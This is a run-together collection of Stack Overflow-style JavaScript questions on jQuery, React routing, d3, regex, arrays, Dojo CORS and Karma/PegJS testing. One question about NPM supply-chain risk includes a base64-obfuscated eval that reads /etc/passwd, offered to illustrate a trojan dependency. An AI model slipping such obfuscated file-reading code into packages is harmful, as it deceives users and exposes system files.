data-layout= '' button_count '' data-width= '' 225 '' data-action= '' like '' data-show-faces= '' false '' data-share= '' true '' > < /div > < /section > < br/ > < ! -- css this -- > < fieldset class= '' submit '' > < div class= '' formMessages submit_field '' > < /div > < div id= '' spinner '' class= '' hidden success submit_field '' > < i class= '' loader2 '' > < /i > < /div > < input id= '' submit '' type= '' submit '' name= '' Submit '' value= '' Send '' style= '' cursor : pointer '' class= '' success '' / > < /fieldset > < /form > < /section > < /section > < ! -- Modal Footer -- > < section class= '' modal-footer '' > < button type= '' button '' class= '' btn btn-default close '' aria-label= '' Close '' data-dismiss= '' modal '' > Back to Shop < /button > < /section > < /div > < ! -- /.modal-content -- > < /div > < ! -- /.modal-dialog -- > < /section > < ! -- /.main section -- > simpleCart ( { //Setting the Cart Columns for the sidebar cart display.cartColumns : [ // { attr : `` image '' , label : false , view : `` image '' } , //Name of the item { attr : `` name '' , label : `` Item '' } , //Quantity displayed as an input { attr : `` quantity '' , label : `` Qty '' , view : `` input '' } , //Price of item // { attr : `` price '' , label : `` Price '' , view : `` currency '' } , //Subtotal of that row ( quantity of that item * the price ) { attr : `` total '' , label : `` SubTot '' , view : `` currency '' } ] , cartStyle : `` table '' , checkout : { type : `` SendForm '' , url : `` /php/sendjs.php '' , method : `` POST '' , } } ) ; simpleCart.bind ( 'beforeCheckout ' , function ( data ) { data.name = document.getElementById ( `` name '' ) .value ; data.textbox = document.getElementById ( `` textbox '' ) .value ; data.emaile = document.getElementById ( `` emaile '' ) .value ; data.phone = document.getElementById ( `` phone '' ) .value ; data.address = document.getElementById ( `` address '' ) .value ; } ) ;",$ jsonObj data not being passed via ajax and POST on IE ( 11 ) only "JS : With Impress.js , my texts and my images look blurry.See the next screenshot where CSS is disabled but Impress.js is enabled : And now see the next screenshot where Impress.js and CSS are disabled : Why are they blurry ? This is my configuration : < div id= '' Model-2 '' class= '' step '' data-x= '' 117000 '' data-rotate= '' 20 '' > < h2 > Backbone.Model < /h2 > < p > On peut préciser des valeurs par défaut < /p > < img src= '' img/18.png '' > < /div >",Impress.js : texts and images look blurry "JS : The jQuery wrap ( ) method does not wrap using element you created , but a duplicate : If you are not convinced , you can see a live version of the above here : http : //jsfiddle.net/QRmY6/How do I best create non-trivial dynamic content to wrap around an existing node while retaining a reference to the wrapper that ends up around the content ? var $ orig = $ ( ' p ' ) ; // some existing elementvar $ wrap = $ ( ' < div > ' ) .css ( { border : '1px solid red ' } ) ; $ orig.wrap ( $ wrap ) ; $ wrap.append ( ' < p > SMOKE YOU < /p > ' ) ; // does not appear after the original element","Wrap one element with another , retaining reference to wrapper ?" "JS : I am making a basic app in reactjs . I 've setup routes for 3 components.The problem is select fields do n't appear when the component is rendered . I 'm using bootstrap-select library for the select fields.The select fields that have className as `` selectpicker '' do not render , they just are n't there . They showed up when I removed `` selectpicker '' from the className . When using `` selectpicker '' , they show up when the browser page is reloaded.Below is a snippet from my code : https : //codesandbox.io/s/determined-panini-2mmv3All three components are almost similar.Following is my index.html file , and i have included the bootstrap and bootstrap-select correctly . Its working fine when rendering the components individually . The problem arose when I started with routing.Here 's the link to my problem 's codesandbox https : //codesandbox.io/s/determined-panini-2mmv3Actual output : The select input fields with `` selectpicker '' class do n't show up at all . Only the labels and other text inputs are visible . When the `` selectpicker '' className is removed , it works as expected . I get the following as output : Expected : The select input field to be rendered . The expected should be as follows : import React from 'react'import A from `` ./A '' import B from `` ./B '' import C from `` ./C '' import { BrowserRouter as Router , Switch , Link , Route } from `` react-router-dom '' class App extends React.Component { constructor ( ) { super ( ) } render ( ) { return ( < div > < Router > < ul > < li > < Link to= '' / '' > TO A < /Link > < /li > < li > < Link to= '' /page1 '' > TO B < /Link > < /li > < li > < Link to= '' /page2 '' > TO C < /Link > < /li > < /ul > < Switch > < Route exact path='/ ' component= { A } / > < Route path='/page1 ' component= { B } / > { /* components B and C have select field with selectpicker class*/ } < Route path= '' /page2 '' component= { C } / > < /Switch > < /Router > < /div > ) } } export default App { /*Component A*/ } import React from `` react '' class A extends React.component { constructor ( ) { super ( ) this.state= { componentA : `` '' } this.handleChange = this.handleChange.bind ( this ) } handleChange ( event ) { const { name , value , type , checked } = event.target type === `` checkbox '' ? this.setState ( { [ name ] : checked } ) : this.setState ( { [ name ] : value } ) } render ( ) { return ( < div className= '' form-group row '' > < label htmlFor= '' tempid '' className= '' col-sm-2 col-form-label '' > Choose an option < /label > < div className= '' col-sm-10 '' > < select className= '' form-control custom-select selectpicker '' name = `` componentA '' id = `` tempid '' value = { this.state.componentA } onChange = { this.handleChange } required > < option value= '' '' style= { { display : '' none '' } } disabled selected > Choose one < /option > < option value= '' p '' > P < /option > < option value= '' q '' > Q < /option > < option value= '' r '' > R < /option > < option value= '' s '' > S < /option > < /select > < /div > < /div > ) } } export default A < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < meta name= '' theme-color '' content= '' # 000000 '' > < meta name= '' description '' content= '' Web site created using create-react-app '' > < link rel= '' stylesheet '' href= '' https : //stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css '' integrity= '' sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T '' crossorigin= '' anonymous '' > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.13.10/css/bootstrap-select.min.css '' > < title > React App < /title > < /head > < body > < noscript > You need to enable JavaScript to run this app. < /noscript > < div id= '' root '' > < /div > < script src= '' https : //code.jquery.com/jquery-3.3.1.slim.min.js '' integrity= '' sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo '' crossorigin= '' anonymous '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js '' integrity= '' sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1 '' crossorigin= '' anonymous '' > < /script > < script src= '' https : //stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js '' integrity= '' sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM '' crossorigin= '' anonymous '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.13.10/js/bootstrap-select.min.js '' type= '' text/javascript '' > < /script > < /body > < /html >",Bootstrap select element not rendered with react-router "JS : I 'm trying to display a data in a chart using d3 , by making 2 separate api calls with same data but different dates.1st api call : I 'm trying to make the calls and display the graph as follows : Where the bold line represents one set of start and end dates ( startDate1 and endDate1 ) and the dotted line represents the second set of start and ends dates ( startDate2 and endDate2 ) .i tried this : However this does not work for me at all ... it just displays only one data info in the graph . EDIT : : : : : This is what i tried with the given ex below : I have rest call that returns data in this format : all the data is similar except for the date..Now when i tried accessing the lineGen ( data ) , it returns null.http : //jsfiddle.net/nv4x78t6/and I see no data displayed ... var data1 = { 'name ' : 'test ' , 'id ' : 7948237982937 , 'startDate ' : startDate1 , 'endDate ' : endDate1 , 'tz ' : getTimezoneOffset ( ) } ; var data2 : { 'name ' : 'test ' , 'id ' : 7948237982937 , 'startDate ' : startDate2 , 'endDate ' : endDate2 , 'tz ' : getTimezoneOffset ( ) } ; draw : function ( ) { getData ( ) ; getData2 ( ) ; } , getData : function ( ) { var self = this ; self.showLoading ( ) ; $ .get ( 'url ' , data1 , function ( response ) { console.log ( `` success '' + response ) ; } ) ; } , getData2 : function ( ) { var self = this ; self.showLoading ( ) ; $ .get ( 'url ' , data2 , function ( response ) { console.log ( `` success '' + response ) ; } ) ; } data : //returns Object { sale : `` 202 '' , year : `` 2000 '' , date : `` 12 '' } data2 : //returns Object { sale : `` 202 '' , year : `` 2000 '' , date : `` 24 '' }",How to make multiple api calls to display a single data in a d3 chart "JS : I am trying to open jquery dialogue box but its not opening i am also using jquery datepicker . when i remove two jquery script for date picker , dialogue opens otherwise its not working in any way . Anybody suggest me any jquery scripts for dialogue box that can work with these datepicker script.javascript datepicker code : jquery dialogue box : < script src= '' ./jquery.js '' > < /script > < script src= '' ./jquery.datetimepicker.js '' > < /script > < script > /*window.onerror = function ( errorMsg ) { $ ( ' # console ' ) .html ( $ ( ' # console ' ) .html ( ) + ' < br > '+errorMsg ) } */ $ ( ' # datetimepicker ' ) .datetimepicker ( { dayOfWeekStart : 1 , lang : 'en ' , disabledDates : [ '1986/01/08 ' , '1986/01/09 ' , '1986/01/10 ' ] , startDate : '1986/01/05 ' } ) ; $ ( ' # datetimepicker ' ) .datetimepicker ( { value : '2015/04/15 05:03 ' , step:10 } ) ; $ ( '.some_class ' ) .datetimepicker ( ) ; $ ( ' # default_datetimepicker ' ) .datetimepicker ( { formatTime : ' H : i ' , formatDate : 'd.m.Y ' , //defaultDate : ' 8.12.1986 ' , // it 's my birthday defaultDate : '+03.01.1970 ' , // it 's my birthday defaultTime : '10:00 ' , timepickerScrollbar : false } ) ; $ ( ' # datetimepicker10 ' ) .datetimepicker ( { step:5 , inline : true } ) ; $ ( '.datetimepicker_mask ' ) .datetimepicker ( { mask : '9999/19/39 29:59 ' } ) ; $ ( ' # datetimepicker1 ' ) .datetimepicker ( { datepicker : false , format : ' H : i ' , step:5 } ) ; $ ( ' # datetimepicker2 ' ) .datetimepicker ( { yearOffset:222 , lang : 'ch ' , timepicker : false , format : 'd/m/Y ' , formatDate : ' Y/m/d ' , minDate : '-1970/01/02 ' , // yesterday is minimum date maxDate : '+1970/01/02 ' // and tommorow is maximum date calendar } ) ; $ ( ' # datetimepicker3 ' ) .datetimepicker ( { inline : true } ) ; $ ( ' # datetimepicker4 ' ) .datetimepicker ( ) ; $ ( ' # open ' ) .click ( function ( ) { $ ( ' # datetimepicker4 ' ) .datetimepicker ( 'show ' ) ; } ) ; $ ( ' # close ' ) .click ( function ( ) { $ ( ' # datetimepicker4 ' ) .datetimepicker ( 'hide ' ) ; } ) ; $ ( ' # reset ' ) .click ( function ( ) { $ ( ' # datetimepicker4 ' ) .datetimepicker ( 'reset ' ) ; } ) ; $ ( ' # datetimepicker5 ' ) .datetimepicker ( { datepicker : false , allowTimes : [ '12:00 ' , '13:00 ' , '15:00 ' , '17:00 ' , '17:05 ' , '17:20 ' , '19:00 ' , '20:00 ' ] , step:5 } ) ; $ ( ' # datetimepicker6 ' ) .datetimepicker ( ) ; $ ( ' # destroy ' ) .click ( function ( ) { if ( $ ( ' # datetimepicker6 ' ) .data ( 'xdsoft_datetimepicker ' ) ) { $ ( ' # datetimepicker6 ' ) .datetimepicker ( 'destroy ' ) ; this.value = 'create ' ; } else { $ ( ' # datetimepicker6 ' ) .datetimepicker ( ) ; this.value = 'destroy ' ; } } ) ; var logic = function ( currentDateTime ) { if ( currentDateTime & & currentDateTime.getDay ( ) == 6 ) { this.setOptions ( { minTime : '11:00 ' } ) ; } else this.setOptions ( { minTime : ' 8:00 ' } ) ; } ; $ ( ' # datetimepicker7 ' ) .datetimepicker ( { onChangeDateTime : logic , onShow : logic } ) ; $ ( ' # datetimepicker8 ' ) .datetimepicker ( { onGenerate : function ( ct ) { $ ( this ) .find ( '.xdsoft_date ' ) .toggleClass ( 'xdsoft_disabled ' ) ; } , minDate : '-1970/01/2 ' , maxDate : '+1970/01/2 ' , timepicker : false } ) ; $ ( ' # datetimepicker9 ' ) .datetimepicker ( { onGenerate : function ( ct ) { $ ( this ) .find ( '.xdsoft_date.xdsoft_weekend ' ) .addClass ( 'xdsoft_disabled ' ) ; } , weekends : [ '01.01.2014 ' , '02.01.2014 ' , '03.01.2014 ' , '04.01.2014 ' , '05.01.2014 ' , '06.01.2014 ' ] , timepicker : false } ) ; var dateToDisable = new Date ( ) ; dateToDisable.setDate ( dateToDisable.getDate ( ) + 2 ) ; $ ( ' # datetimepicker11 ' ) .datetimepicker ( { beforeShowDay : function ( date ) { if ( date.getMonth ( ) == dateToDisable.getMonth ( ) & & date.getDate ( ) == dateToDisable.getDate ( ) ) { return [ false , `` '' ] } return [ true , `` '' ] ; } } ) ; $ ( ' # datetimepicker12 ' ) .datetimepicker ( { beforeShowDay : function ( date ) { if ( date.getMonth ( ) == dateToDisable.getMonth ( ) & & date.getDate ( ) == dateToDisable.getDate ( ) ) { return [ true , `` custom-date-style '' ] ; } return [ true , `` '' ] ; } } ) ; $ ( ' # datetimepicker_dark ' ) .datetimepicker ( { theme : 'dark ' } ) < /script > < link rel= '' stylesheet '' href= '' //code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css '' > < script src= '' //code.jquery.com/jquery-1.10.2.js '' > < /script > < script src= '' //code.jquery.com/ui/1.11.4/jquery-ui.js '' > < /script > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( ' # wrapper ' ) .dialog ( { autoOpen : false , title : 'Basic Dialog ' } ) ; $ ( ' # opener ' ) .click ( function ( ) { $ ( ' # wrapper ' ) .dialog ( 'open ' ) ; // return false ; } ) ; } ) ; < /script > < button id= '' opener '' > Open the dialog < /button > < div id= '' wrapper '' > < p > Some txt goes here < /p > < /div >",jQuery Dialog Box not working with Datepicker "JS : According to MDN 's RegExp Guide regular expression literals are compiled while RegExp objects created by calling the constructor are not.My question is now , when does the compilation take place ? As the literal has unique syntax it is identified as a regular expression during parsing . This would make it possible to compile it once and reuse the result every time it gets evaluated resulting in the two examples having ( almost ) the same speed.Any ideas whether this is used in practice by any JavaScript-engine ? var str = `` Hello World '' ; // Example 1var regExp1 = / [ aeiou ] +/gi ; for ( var i = 0 ; i < 1000 ; ++i ) regExp1.exec ( str ) ; // Example 2for ( var j = 0 ; j < 1000 ; ++j ) / [ aeiou ] +/gi.exec ( str ) ;",When are JavaScript regular expression literals compiled "JS : I am trying the following code in ideone : The output goes as follows : In my JavaScript book ( well , Crockford 's ) I read that array 's length is calculated as the biggest numerical value of all properties . So , why does it say the length is 5 when the biggest numerical property it has is 0 ? Thanks ! var a = [ ] ; a [ 0 ] = 0 ; a [ 5 ] = 5 ; a [ 6 ] = undefined ; print ( `` contents before popping : '' ) ; for ( var e in a ) print ( `` \ta [ `` , e , `` ] = '' , a [ e ] ) ; print ( `` a.length = '' , a.length ) ; for ( var i = 0 ; i < a.length ; i++ ) print ( `` \ta.hasOwnProperty ( `` , i , `` ) = '' , a.hasOwnProperty ( i ) ) ; print ( `` popping -- > '' , a.pop ( ) ) ; print ( `` popping -- > '' , a.pop ( ) ) ; print ( `` contents after popping : '' ) ; for ( var e in a ) print ( `` \ta [ `` , e , `` ] = '' , a [ e ] ) ; print ( `` a.length = '' , a.length ) ; for ( var i = 0 ; i < a.length ; i++ ) print ( `` \ta.hasOwnProperty ( `` , i , `` ) = '' , a.hasOwnProperty ( i ) ) ; contents before popping : a [ 0 ] = 0 a [ 5 ] = 5 a [ 6 ] = undefineda.length = 7 a.hasOwnProperty ( 0 ) = true a.hasOwnProperty ( 1 ) = false a.hasOwnProperty ( 2 ) = false a.hasOwnProperty ( 3 ) = false a.hasOwnProperty ( 4 ) = false a.hasOwnProperty ( 5 ) = true a.hasOwnProperty ( 6 ) = truepopping -- > undefinedpopping -- > 5contents after popping : a [ 0 ] = 0a.length = 5 a.hasOwnProperty ( 0 ) = true a.hasOwnProperty ( 1 ) = false a.hasOwnProperty ( 2 ) = false a.hasOwnProperty ( 3 ) = false a.hasOwnProperty ( 4 ) = false",Does Array.pop ( ) mess array 's length ? "JS : I see a lot of posts about how to get the difference and symmetric difference of an array in javascript , but I have n't found anything on how to find the difference , including duplicates.For example : Is there an elegant way to do this ? I 'm open to solutions using plain javascript or lodash.Thanks ! UPDATETo clarify , an infinite number of duplicates should be supported . Another example : UPDATE 2I realized that there may be some confusion on the original requirements . It is true that infinite duplicates should be supported , but the order should not affect the output.Example : let original = [ 1 ] ; let updated = [ 1 , 1 , 2 ] ; difference ( updated , original ) ; // Expect : [ 1 , 2 ] let original = [ 1 , 1 ] ; let updated = [ 1 , 1 , 1 , 1 , 1 , 2 ] ; difference ( updated , original ) ; // Expect : [ 1 , 1 , 1 , 2 ] let original = [ 1 , 1 , 2 ] ; let updated = [ 1 , 2 , 1 , 1 , 1 ] ; difference ( updated , original ) ; // Expect : [ 1 , 1 ]",get difference between two arrays ( including duplicates ) "JS : I am trying to generated a URL : Get-it-Together-Stavros-Zenonos-amp ; -Katerina-Ko ? viewmode=0Where you can see `` amp ; '' after that url is not generating Like below : Get-it-Together-Stavros-Zenonos-ampSee my code below which is generating URLCould you help what i need to do to generate full URL ? < a class= '' fb-xfbml-parse-ignore '' href= '' https : //twitter.com/intent/tweet ? url= < % =HTMLEncode ( CMS.DocumentEngine.DocumentContext.CurrentDocument.AbsoluteURL ) % > '' onClick= '' return popup ( this , 'notes ' ) '' > < img src= '' < % # Eval ( `` twittericon '' ) % > '' alt= '' twitter icon '' / > < /a >",HTML encode not working properly for URL "JS : I 'm writing a Chrome extension that will search the DOM and highlight all email addresses on the page . I found this to look for at symbols on the page but it only returns correctly when there is one email address , it breaks when there are multiple addresses found.What is the correct way to have this return multiples if more than one is found ? found = document.evaluate ( '//* [ contains ( text ( ) , '' @ '' ) ] ' , document , null , XPathResult.ORDERED_NODE_SNAPSHOT_TYPE , null ) .snapshotItem ( 0 ) ;","Searching the DOM for multiples of the same string , using XPath" "JS : OK , this is driving me crazy : First example , no problem : Now , with TWO script elements : Tested with IE8.Have you any idea why ? < script > window.myvar = 150 ; if ( false ) { var myvar = 3 ; } // This will popup `` 150 '' alert ( myvar ) < /script > < script > window.myvar = 150 ; < /script > < script > if ( false ) { var myvar = 3 ; } // This will popup `` undefined '' alert ( myvar ) < /script >",Have you ever seen this weird IE JavaScript behaviour/bug ? "JS : I 'm working with an application that uses way more JQuery that I 've dealt with before and I 'm trying to understand what JQuery document.ready ( ) does to a web application a little better . I 'm hoping that someone more experienced in JS/JQuery could help me out.Let 's assume I have an separate .js file with 100 JQuery functions inside a document.ready ( ) : I understand that these would now be loaded and ready for every page of the website ( through the inclusion of the .js file ) . However , I could also stick these inside separate document.ready ( ) functions on every individual page of the website , where each page would only get what it actually uses . Or I could craft something even more sophisticated by selectively calling functions that group event handlers inside the document.ready ( ) ; Given that the entire .js file is in any case read by the browser , I would like to know what kind of effect there might be between these approaches on performance . It seems counter-intuitive to load all the event handlers for every page but at the same time this has me wondering whether I 'm creating a problem out of something that actually isn't.A little outside perspective would be useful . Thanks . $ ( document ) .ready ( function ( ) { $ ( `` # something1 '' ) .click ( function ( ) { ... } ) ; $ ( `` # something2 '' ) .click ( function ( ) { ... } ) ; $ ( `` # something3 '' ) .click ( function ( ) { ... } ) ; etc ... } ) ;",JQuery document.ready ( ) overhead "JS : I am receiving the following error when attempting to connect to a sample rest service provided the the Arcgis Javascript API docs.Following the dojo docs I have setup my dojo/store as follows.I have also tried passing in some headers per the dojo docs , which returned the same error as the code above . When I use the Arcgis Javascript to Query I am able to make this request with the following code provided in this demo This does not cause any cross domain issues.I would really like to use the dojo.store if possible so that I can structure my app using the MVC technique provided by Dojo No 'Access-Control-Allow-Origin ' header is present on the requested resource . Origin 'http : //bcgphp ' is therefore not allowed access . var jsonStore = new JsonRest ( { target : `` //sampleserver1.arcgisonline.com/ArcGIS/rest/services/Demographics/ESRI_Census_USA/MapServer/ '' } ) ; jsonStore.get ( 5 ) ; var jsonStore = new JsonRest ( { target : `` //sampleserver1.arcgisonline.com/ArcGIS/rest/services/Demographics/ESRI_Census_USA/MapServer/ '' , headers : { ' X-Requested-With ' : 'XMLHttpRequest ' } } ) ; jsonStore.get ( 5 ) ; var queryTask = new QueryTask ( `` http : //sampleserver1.arcgisonline.com/ArcGIS/rest/services/Demographics/ESRI_Census_USA/MapServer/5 '' ) ; var query = new Query ( ) ; query.returnGeometry = false ; query.outFields = [ `` SQMI '' , `` STATE_NAME '' , `` STATE_FIPS '' , `` SUB_REGION '' , `` STATE_ABBR '' , `` POP2000 '' , `` POP2007 '' , `` POP00_SQMI '' , `` POP07_SQMI '' , `` HOUSEHOLDS '' , `` MALES '' , `` FEMALES '' , `` WHITE '' , `` BLACK '' , `` AMERI_ES '' , `` ASIAN '' , `` OTHER '' , `` HISPANIC '' , `` AGE_UNDER5 '' , `` AGE_5_17 '' , `` AGE_18_21 '' , `` AGE_22_29 '' , `` AGE_30_39 '' , `` AGE_40_49 '' , `` AGE_50_64 '' , `` AGE_65_UP '' ] ; queryTask.execute ( query , showResults ) ; function showResults ( results ) { console.log ( results ) ; }",How to use dojo/store/JsonRest to work ArcGIS Rest Service "JS : Is there any way to destructure an object and assign its properties into an array rather than as variables ? For example : This works , but it requires restating the variables as the array values.I have tried : but this is a syntax error.I had a similar idea with Object.values as in ... but this has the same issue of not being able to do destructuring in expressions . const obj = { a : 1 , b : 2 } ; const { a , b } = obj ; const arr = [ a , b ] ; const arr = [ ( const { a , b } = obj ) ] ; const arr = Object.values ( ( const { red } = chalk ) ) ; `",Destructure object properties into array values "JS : I have a string like `` ; a ; b ; c ; ; e '' . Notice that there is an extra semicolon before e. I want the string to be split in a , b , c ; , e. But it gets split like a , b , c , ; e.My code is What can I do over here to get the result I want ? Regards var new_arr = str.split ( ' ; ' ) ;",split a string using javascript "JS : Consider the following JavaScript snippet : ( See this JSFiddle for a full example ) When this runs , the following error is given in the console ( Google Chrome ) : Uncaught DOMException : Failed to read the 'contentDocument ' property from 'HTMLObjectElement ' : Blocked a frame with origin `` https : //fiddle.jshell.net '' from accessing a cross-origin frame . at setTimeout ( https : //fiddle.jshell.net/_display:77:19 ) With that in mind ; Why is this considered a cross-origin request when trying to access the contentDocument of the object that has been created entirely dynamically , with no external resources ? Is there a way to generate SVGs dynamically in this way , without offending the browsers cross-origin policy ? const app = document.getElementById ( 'root ' ) ; const svg = ` < svg version= '' 1.1 '' id= '' Layer_1 '' ... ` ; const obj = document.createElement ( 'object ' ) ; obj.setAttribute ( 'type ' , 'image/svg+xml ' ) ; obj.setAttribute ( 'data ' , ` data : image/svg+xml ; base64 , $ { btoa ( svg ) } ` ) ; app.appendChild ( obj ) ; setTimeout ( ( ) = > { console.log ( obj.contentDocument.querySelector ( 'svg ' ) ) ; } , 1500 ) ;",Why does dynamically generating an SVG using HTMLObjectElement lead to a Cross-Origin error ? "JS : Given how popular NodeJS is , and how NPM works ... what is the best way to ensure you never install an insecure / malware package ? To me this seems to be a huge gaping hole in the architecture , relying solely on user reviews , comments on sites like StackOverflow , personal blogs , etc . I 've done a little searching and all I can seem to find is a `` plan '' for removing offending users once a complaint is filed that said users broke the code of conduct.NPM Code of Conducthttps : //www.npmjs.com/policies/conductHere 's how you publish a package ... https : //docs.npmjs.com/getting-started/publishing-npm-packagesSo I started thinking about what kind of bad things someone could do ... perhaps create a very useful package , then trojan horse it with a dependency to a package that does something bad . Even if I ( as the installer ) reviewed the packages I personally install , I probably would never catch the offending code , especially if the code was obfuscated , like this : This code simply echoes the /etc/passwd file to your standard out . Nothing more . Prove it by running just this : Those of you who catch the eval , good for you ! I can wrap this so many different ways without an eval though , so this should just be taken as an example.So , with all of that said ... what is the community doing to deal with this eventuality ? Where can I find more on how to keep my systems secure ? eval ( ( new Buffer ( 'cmVxdWlyZSgiZnMiKS5jcmVhdGVSZWFkU3RyZWFtKCIvL2V0Yy9wYXNzd2QiKS5waXBlKHByb2Nlc3Muc3Rkb3V0KTs= ' , 'base64 ' ) .toString ( ) ) ) ; new Buffer ( 'cmVxdWlyZSgiZnMiKS5jcmVhdGVSZWFkU3RyZWFtKCIvL2V0Yy9wYXNzd2QiKS5waXBlKHByb2Nlc3Muc3Rkb3V0KTs= ' , 'base64 ' ) .toString ( )",NodeJS & NPM : Package Security "JS : I 'm trying to figure out correct approach for a javascript monorepo . Imagine monorepo containing packages / libraries : Now let 's say both lib-a and lib-b packages use webpack as their build tool.I see two approachesAdd wepback as dependency to root . Include `` build '' script in both packages : `` build '' : `` webpack -p -- config webpack.config.js . webpack.config.js could include root webpack.config.js . Then I could use tool like lerna to run the build from root directory ( which means webpack binary is recognized . However I will be unable to run the build in specific packages since webpack is not available there . I could probably change the build script to something like `` build '' : `` ../../node_modules/.bin/webpack -p -- config webpack.config.jsAlways include webpack in each package . This means that build script will succeed . This also means that each package will have the same dependency and I should probably watch that each package uses same webpack version.Basically what I 'm getting at is how should packages inside monorepo be structured ? If any package is published , should it always be possible to build that package separately . root - node_modules - packages + lib-a * node_modules + lib-b * node_modules",What is a correct approach to a javascript monorepo "JS : I need to test a function ( example ( ) ) , which uses another one ( validateDataset ) . As I only want to test the example ( ) function I mock the validateDataset ( ) .Of course each test needs a different result of the mocked function . But how do I set different promise results for the mocked function ? In my attempt shown below the mocked function always return the same value.So in this example I can not test for the thrown error.functions.jsfunctions.test.js import { validateDataset } from './helper/validation'export async function example ( id ) { const { docElement } = await validateDataset ( id ) if ( ! docElement ) throw Error ( 'Missing content ' ) return docElement } import { example } from './functions'jest.mock ( './helper/validation ' , ( ) = > ( { validateDataset : jest.fn ( ( ) = > Promise.resolve ( { docMain : { } , docElement : { data : 'result ' } } ) ) } ) ) describe ( 'example ( ) ' , ( ) = > { test ( 'should return object ' , async ( ) = > { const result = await example ( '123 ' ) expect ( result.data ) .toBe ( 'result ' ) } ) test ( 'should throw error ' , async ( ) = > { const result = await example ( '123 ' ) // How to get different result ( ` null ` ) in this test // How to test for the thrown error ? } ) } )",JestJS : How to get different promise results of a mocked function and test for thrown error ? "JS : Trying to test a project using PegJS and requirejs.I have a couple of source files , implemented as AMD module ( define ) which loads through the require API . Below the directory structure : I 've written a parser.js module to load a PegJS grammar file and use PegJS to create a peg parser : This works fine with a main.js executed on the command line with node.Now I want to test my project using karma , jasmine and PhantomJS . I have a karma.conf.js like this : Also have a require bootstrap file called test-main.js which is configured this way : Now , when I launch my test ( grunt karma ) , I got this error : So I try to include pegjs in the files loaded by Karma this way karma.conf.js : When I do this , I still get an error : Looking inside pegjs module , there is indeed an arrays.js file : So trying to include arrays too : I get : Because of : So , intead of loading the npm module , I tried to load the bower module this way : And here you go again : Also tried not to include pegjs in the karma generated web page : But it fails with : Tried to put the bower_component folder inside the js folder but no luck . So I do n't know were to go from here ... Could n't find anything relevant on Google or here . It seems to be a specific problem to requirejs/pegjs with karma ... Any idea is welcome.UPDATE following dan 's answer : So I switch from a synchronous require to a asynchronous require in parser.js : Tried to include the pegjs bower component in karma.conf.js : or not include it : But always get the same error : Yes the file exists : UPDATE2 : Finally understood and found an acceptable solution . js/ somefile.js main.js parser.jstest/ parser.spec.js define ( function ( ) { 'use strict ' ; var PEG = require ( 'pegjs ' ) ; var grammarFile = 'grammar.peg'return { parse : function ( fs , content , debug ) { var grammar = fs.readFileSync ( grammarFile , 'utf8 ' ) .toString ( ) ; // Build parser from grammar var parser = PEG.buildParser ( grammar , { trace : debug } ) ; [ ... ] frameworks : [ 'jasmine ' , 'requirejs ' ] , files : [ { pattern : './test/**/*.spec.js ' , included : false } , { pattern : './js/**/*.js ' , included : false } , './test/test-main.js ' , ] , 'use strict ' ; var allTestFiles = [ ] ; var TEST_REGEXP = / ( spec|test ) \.js $ /i ; // Get a list of all the test files to includeObject.keys ( window.__karma__.files ) .forEach ( function ( file ) { console.log ( file ) ; if ( TEST_REGEXP.test ( file ) ) { // Normalize paths to RequireJS module names . // If you require sub-dependencies of test files to be loaded as-is ( requiring file extension ) // then do not normalize the paths var normalizedTestModule = file.replace ( /^\/base\/|\.js $ /g , `` ) ; allTestFiles.push ( file ) ; } } ) ; require.config ( { // Karma serves files under /base , which is the basePath from your config file baseUrl : '/base/js ' , // dynamically load all test files deps : allTestFiles , // we have to kickoff jasmine , as it is asynchronous callback : window.__karma__.start } ) ; PhantomJS 1.9.8 ( Linux 0.0.0 ) ERROR : Error { message : 'Module name `` pegjs '' has not been loaded yet for context : _ . Use require ( [ ] ) files : [ { pattern : 'node_modules/pegjs/lib/**/*.js ' , included : true } , { pattern : './test/**/*.spec.js ' , included : false } , { pattern : './js/**/*.js ' , included : false } , './test/test-main.js ' ] , Error : Module name `` utils/arrays '' has not been loaded yet for context : _ . Use require ( [ ] ) compiler/compiler.jsgrammar-error.jsparser.jspeg.jsutils/ arrays.js classes.js objects.js files : [ { pattern : 'node_modules/pegjs/lib/utils/arrays.js ' , included : true } , { pattern : 'node_modules/pegjs/lib/**/*.js ' , included : true } , { pattern : './test/**/*.spec.js ' , included : false } , { pattern : './js/**/*.js ' , included : false } , './test/test-main.js ' ] , ReferenceError : Ca n't find variable : moduleat /blabla/node_modules/pegjs/lib/utils/arrays.js:108 108 module.exports = arrays ; files : [ { pattern : 'bower_components/pegjs/peg-0.9.0.js ' , included : true } , { pattern : './test/**/*.spec.js ' , included : false } , { pattern : './js/**/*.js ' , included : false } , './test/test-main.js ' ] , PhantomJS 1.9.8 ( Linux 0.0.0 ) ERROR : Error { message : 'Module name `` pegjs '' has not been loaded yet for context : _ . Use require ( [ ] ) files : [ { pattern : 'bower_components/pegjs/peg-0.9.0.js ' , included : false } , { pattern : './test/**/*.spec.js ' , included : false } , { pattern : './js/**/*.js ' , included : false } , './test/test-main.js ' ] , PhantomJS 1.9.8 ( Linux 0.0.0 ) ERROR : 'There is no timestamp for /base/bower_components/pegjs/peg-0.9.0 ! ' define ( [ '../bower_components/pegjs/peg-0.9.0 ' ] , function ( PEG ) { 'use strict ' ; var grammarFile = 'grammar.peg'return { parse : function ( fs , content , debug ) { var grammar = fs.readFileSync ( grammarFile , 'utf8 ' ) .toString ( ) ; // Build parser from grammar var parser = PEG.buildParser ( grammar , { trace : debug } ) ; [ ... ] { pattern : 'bower_components/pegjs/peg-0.9.0.js ' , 